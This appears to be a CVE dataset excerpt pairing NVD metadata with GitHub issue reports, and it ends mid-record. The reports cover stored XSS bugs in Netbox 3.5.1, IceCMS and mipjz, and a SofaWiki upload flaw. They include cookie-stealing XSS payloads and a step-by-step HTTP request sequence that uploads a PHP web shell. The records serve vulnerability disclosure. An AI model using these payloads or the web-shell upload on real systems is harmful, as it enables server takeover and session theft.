cve_id stringlengths 13 16 | cve_published stringdate 2019-01-01 16:29:00 2025-02-25 20:15:37 | cve_descriptions stringlengths 34 2.6k | cve_metrics dict | cve_references listlengths 1 281 | cve_configurations listlengths 1 70 | cve_cwe_list listlengths 1 1 | cve_primary_cwe stringclasses 164 values | url stringlengths 36 97 | cve_tags listlengths 1 5 ⌀ | domain stringclasses 1 value | issue_owner_repo listlengths 2 2 | issue_body stringlengths 0 198k ⌀ | issue_title stringlengths 1 335 | issue_comments_url stringlengths 55 116 | issue_comments_count int64 0 338 | issue_created_at stringdate 2012-06-06 09:34:24 2025-04-02 09:37:20 | issue_updated_at stringdate 2014-04-01 20:16:21 2025-06-16 12:26:58 | issue_html_url stringlengths 36 97 | issue_github_id int64 4.93M 2.97B | issue_number int64 1 199k | __index_level_0__ int64 0 6.55k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2023-33797 | 2023-05-24T20:15:10.893 | A stored cross-site scripting (XSS) vulnerability in the Create Sites (/dcim/sites/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/12"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/12"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netbox:netbox:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "D28A2958-C184-45BD-BF89-DFBB81B7EF8A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/anhdq201/netbox/issues/12 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"anhdq201",
"netbox"
] | # Version: 3.5.1
# Description
An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Sites" function in the "Organization" feature.
# Proof of Concept
**Step 1:** Go to `/dcim/sites/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field.
---

---
**Step 2:** Go to `/dcim/racks/`, click "Add" and select "Site"
---

---
**Step 3: Script excuted
---

---
# Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Sites" function in Netbox 3.5.1 | https://api.github.com/repos/anhdq201/netbox/issues/12/comments | 0 | 2023-05-18T16:34:34Z | 2023-05-18T16:34:34Z | https://github.com/anhdq201/netbox/issues/12 | 1,715,930,151 | 12 | 5,190 |
CVE-2023-33798 | 2023-05-24T20:15:10.947 | A stored cross-site scripting (XSS) vulnerability in the Create Rack (/dcim/rack/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/13"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/13"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netbox:netbox:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "D28A2958-C184-45BD-BF89-DFBB81B7EF8A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/anhdq201/netbox/issues/13 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"anhdq201",
"netbox"
] | # Version: 3.5.1
# Description
An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Rack" function in the "Organization" feature.
# Proof of Concept
**Step 1:** Go to `/dcim/rack/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field.
---

---
**Step 2:** Go to `/dcim/rack-reservations/`, click "Add" and select "Rack"
---

---
**Step 3: Script excuted
---

---
# Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Rack" function in Netbox 3.5.1 | https://api.github.com/repos/anhdq201/netbox/issues/13/comments | 0 | 2023-05-18T16:37:16Z | 2023-05-18T16:37:16Z | https://github.com/anhdq201/netbox/issues/13 | 1,715,934,227 | 13 | 5,191 |
CVE-2023-33799 | 2023-05-24T20:15:11.003 | A stored cross-site scripting (XSS) vulnerability in the Create Contacts (/tenancy/contacts/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/14"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/14"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netbox:netbox:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "D28A2958-C184-45BD-BF89-DFBB81B7EF8A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/anhdq201/netbox/issues/14 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"anhdq201",
"netbox"
] | # Version: 3.5.1
# Description
An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Contacts" function in the "Organization" feature.
# Proof of Concept
**Step 1:** Go to `/tenancy/contacts/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field.
---

---
**Step 2:** Go to `/tenancy/contact-assignments/`, Select one element and click "Edit Selected", after select "Contact"
---


---
**Step 3: Script excuted
---

---
# Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Contacts" function in Netbox 3.5.1 | https://api.github.com/repos/anhdq201/netbox/issues/14/comments | 0 | 2023-05-18T16:42:36Z | 2023-05-18T16:42:36Z | https://github.com/anhdq201/netbox/issues/14 | 1,715,940,484 | 14 | 5,192 |
CVE-2023-33800 | 2023-05-24T20:15:11.060 | A stored cross-site scripting (XSS) vulnerability in the Create Regions (/dcim/regions/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/11"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/anhdq201/netbox/issues/11"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netbox:netbox:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "D28A2958-C184-45BD-BF89-DFBB81B7EF8A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/anhdq201/netbox/issues/11 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"anhdq201",
"netbox"
] | # Version: 3.5.1
# Description
An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Regions" function in the "Organization" feature.
# Proof of Concept
**Step 1:** Go to `/dcim/regions/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field.
---

---
**Step 2:** Go to `/dcim/sites/`, click "Add" and select "Region"
---

---
**Step 3: Script excuted
---

---
# Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Regions" function in Netbox 3.5.1 | https://api.github.com/repos/anhdq201/netbox/issues/11/comments | 0 | 2023-05-18T16:32:07Z | 2023-05-18T16:32:07Z | https://github.com/anhdq201/netbox/issues/11 | 1,715,925,619 | 11 | 5,193 |
CVE-2023-29721 | 2023-05-24T21:15:11.470 | SofaWiki <= 3.8.9 has a file upload vulnerability that leads to command execution. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/bellenuit/sofawiki/issues/27"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/xul18/Showcase/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/bellenuit/sofawiki/issues/27"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/xul18/Showcase/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:sofawiki_project:sofawiki:*:*:*:*:*:*:*:*",
"matchCriteriaId": "7860B5D2-9810-4846-89E3-1CE46CA3194A",
"versionEndExcluding": null,
"versionEndIncluding": "3.8.9",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/bellenuit/sofawiki/issues/27 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"bellenuit",
"sofawiki"
] | 1. The PHP file an be uploaded directly by matching referer.
```
// index.php
case 'uploadbigfile': if ($user->hasright('upload', '') || stristr($swBaseHrefFolder,$referer))
{
include 'inc/special/uploadbigfile.php';
}
```
```
// uploadbigfile.php
if (isset($_FILES['uploadedfile']) && is_uploaded_file($_FILES['uploadedfile']['tmp_name']))
{
$filename = $_FILES['uploadedfile']['name'];
$newfile = $swRoot.'/site/uploadbig/'.$filename;
move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$newfile);
$checksum = md5_file($newfile);
if ($checksum == $filename)
{
echo 'upload ok '.$filename;
}
else
{
echo 'checksum error filename '.$filename.' checksum '.$checksum. ' length '.filesize($newfile);
unlink($newfile);
}
$_FILES = null;
exit();
}
```
2. Send a request package to get checksum.
```
POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
Host: 172.16.134.41
Content-Length: 243
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1tApDzIaBAxp9EH
Accept: */*
Origin: http://172.16.134.41
Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
------WebKitFormBoundaryk1tApDzIaBAxp9EH
Content-Disposition: form-data; name="uploadedfile"; filename="idontknow"
Content-Type: application/octet-stream
<?php echo system($_REQUEST["cmd"]);?>
------WebKitFormBoundaryk1tApDzIaBAxp9EH--
```

3. Send three request packets using checksum to create a malicious PHP file.
> 1st
```
POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
Host: 172.16.134.41
Content-Length: 283
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfiZ05SNBgGM9pnBh
Accept: */*
Origin: http://172.16.134.41
Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
------WebKitFormBoundaryfiZ05SNBgGM9pnBh
Content-Disposition: form-data; name="checkchunks"
edc4325bdef3f7fb70abd0389e85f6d1
------WebKitFormBoundaryfiZ05SNBgGM9pnBh
Content-Disposition: form-data; name="filename"
evilupload.php
------WebKitFormBoundaryfiZ05SNBgGM9pnBh--
```

> 2nd
```
POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
Host: 172.16.134.41
Content-Length: 266
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1tApDzIaBAxp9EH
Accept: */*
Origin: http://172.16.134.41
Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
------WebKitFormBoundaryk1tApDzIaBAxp9EH
Content-Disposition: form-data; name="uploadedfile"; filename="edc4325bdef3f7fb70abd0389e85f6d1"
Content-Type: application/octet-stream
<?php echo system($_REQUEST["cmd"]);?>
------WebKitFormBoundaryk1tApDzIaBAxp9EH--
```

> 3rd
```
POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
Host: 172.16.134.41
Content-Length: 574
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfeK0BammsIbqUGBr
Accept: */*
Origin: http://172.16.134.41
Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
------WebKitFormBoundaryfeK0BammsIbqUGBr
Content-Disposition: form-data; name="composechunks"
edc4325bdef3f7fb70abd0389e85f6d1
------WebKitFormBoundaryfeK0BammsIbqUGBr
Content-Disposition: form-data; name="filename"
evilupload.php
------WebKitFormBoundaryfeK0BammsIbqUGBr
Content-Disposition: form-data; name="comment"
test
------WebKitFormBoundaryfeK0BammsIbqUGBr
Content-Disposition: form-data; name="uploadtime"
1
------WebKitFormBoundaryfeK0BammsIbqUGBr
Content-Disposition: form-data; name="start"
0
------WebKitFormBoundaryfeK0BammsIbqUGBr--
```

4. After uploading a malicious PHP file, arbitrary code can be executed.

| [Vuln]There is a file upload vulnerability that leads to command execution. | https://api.github.com/repos/bellenuit/sofawiki/issues/27/comments | 1 | 2023-03-16T06:15:13Z | 2023-03-16T22:54:23Z | https://github.com/bellenuit/sofawiki/issues/27 | 1,626,793,970 | 27 | 5,194 |
CVE-2023-29721 | 2023-05-24T21:15:11.470 | SofaWiki <= 3.8.9 has a file upload vulnerability that leads to command execution. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/bellenuit/sofawiki/issues/27"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/xul18/Showcase/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/bellenuit/sofawiki/issues/27"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/xul18/Showcase/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:sofawiki_project:sofawiki:*:*:*:*:*:*:*:*",
"matchCriteriaId": "7860B5D2-9810-4846-89E3-1CE46CA3194A",
"versionEndExcluding": null,
"versionEndIncluding": "3.8.9",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/xul18/Showcase/issues/2 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"xul18",
"Showcase"
] | **the name of an affected Product:** SofaWiki
**the affected or fixed version(s):** SofaWiki < 3.8.9 Hotfix 9cd566a
**the CVE ID for the entry (if possible):** CVE-2023-29721
**a prose description:** SofaWiki is a filebased CMS built on PHP.There is a file upload vulnerability that leads to command execution.Details can be seen in https://github.com/bellenuit/sofawiki/issues/27
**Vulnerability Type:** command execution
**Root Cause:** The PHP file an be uploaded directly by matching referer
**Impact:** Important
| File Upload | https://api.github.com/repos/xul18/Showcase/issues/2/comments | 0 | 2023-05-18T23:33:13Z | 2023-05-18T23:33:22Z | https://github.com/xul18/Showcase/issues/2 | 1,716,401,195 | 2 | 5,195 |
CVE-2023-33356 | 2023-05-25T14:15:11.030 | IceCMS v1.0.0 is vulnerable to Cross Site Scripting (XSS). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/Thecosy/IceCMS/issues/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/Thecosy/IceCMS/issues/8"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thecosy:icecms:1.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "89B41212-18CD-4A56-ACD8-5600F34C8791",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/Thecosy/IceCMS/issues/8 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"Thecosy",
"IceCMS"
] | There is a Stored-XSS vulnerability in IceCMS v1.0.0
api : /Websquare/create/circle
planet - circle
POC:
The payload is `<img src=1 onerror=alert(1)>`


| There is a Stored-XSS vulnerability in IceCMS v1.0.0 | https://api.github.com/repos/Thecosy/IceCMS/issues/8/comments | 0 | 2023-05-02T14:38:40Z | 2023-05-02T14:38:40Z | https://github.com/Thecosy/IceCMS/issues/8 | 1,692,553,608 | 8 | 5,196 |
CVE-2023-33750 | 2023-05-25T17:15:12.110 | A stored cross-site scripting (XSS) vulnerability in mipjz v5.0.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Description parameter at /index.php?s=/article/ApiAdminArticle/itemAdd. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/sansanyun/mipjz/issues/15"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/sansanyun/mipjz/issues/15"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mipjz_project:mipjz:5.0.5:*:*:*:*:*:*:*",
"matchCriteriaId": "E4AEA22F-BAAD-4FC2-B025-B0E93FD5F818",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/sansanyun/mipjz/issues/15 | [
"Exploit"
] | github.com | [
"sansanyun",
"mipjz"
] | [Vulnerability Description]
Cross SIte Scripting (XSS) vulnerability exists in mipjz v5.0.5, attackers can execute arbitrary code via the article description field from /article/ApiAdminArticle/itemAdd.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
https://github.com/sansanyun/mipjz
http://www.mipjz.com/
[Affected Product Code Base]
v5.0.5
[Vulnerability Proof]
1. Add an article, insert js code in the description parameter: xss<img src onerror=alert(22)>
```
POST /index.php?s=/article/ApiAdminArticle/itemAdd HTTP/1.1
Host: 192.168.11.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
dataId:
Content-Length: 426
Origin: http://192.168.11.102
Connection: close
Referer: http://192.168.11.102/index.php?s=/admin/
Cookie: csrf_49dccd=65bc5ef8; Hm_lvt_3155433929be1afd6cef849b9709d4d7=1684330392; Hm_lpvt_3155433929be1afd6cef849b9709d4d7=1684330392; PHPSESSID=rtdn09cuqpvt4chfomi043aun0
{"title":"xss","keywords":"123","description":"xss<img src onerror=alert(22)>","link_tags":"","url_name":"","content":"<p>123<br></p>","is_recommend":"0","tags":"xss<img src onerror=alert(1)>","publish_time":"","fieldList":"[{\"value\":\"\",\"key\":\"diy_aaa\",\"name\":\"<img src onerror=alert(1)>\"}]","img_url":"/public/uploads/temp/2023/05/17/6464f65ca6526.jpg"}
```

2. Visit the article page, the code is loaded and executed


[Code Details]
1. Add an article, receive parameters, and pass it to \app\article\model\Articles.php:itemAdd for processing

2. \app\article\model\Articles.php:itemAdd does not check and filter the description, and directly stores it in the database

3. Article Details \app\article\controller\ArticleDetail.php:index takes out the article description in the database and passes it to $mipDescription without filtering

4. In the "guess you like" area in the article display \template\default\article\articleDetail.html, directly output the $mipDescription in the previous step, causing the malicious code to be executed

| There is a cross site scripting (XSS) vulnerability exists in mipjz v5.0.5 | https://api.github.com/repos/sansanyun/mipjz/issues/15/comments | 1 | 2023-05-17T17:13:12Z | 2023-05-25T17:39:06Z | https://github.com/sansanyun/mipjz/issues/15 | 1,714,322,378 | 15 | 5,197 |
CVE-2023-33751 | 2023-05-25T17:15:12.263 | A stored cross-site scripting (XSS) vulnerability in mipjz v5.0.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the name parameter at /app/tag/controller/ApiAdminTagCategory.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
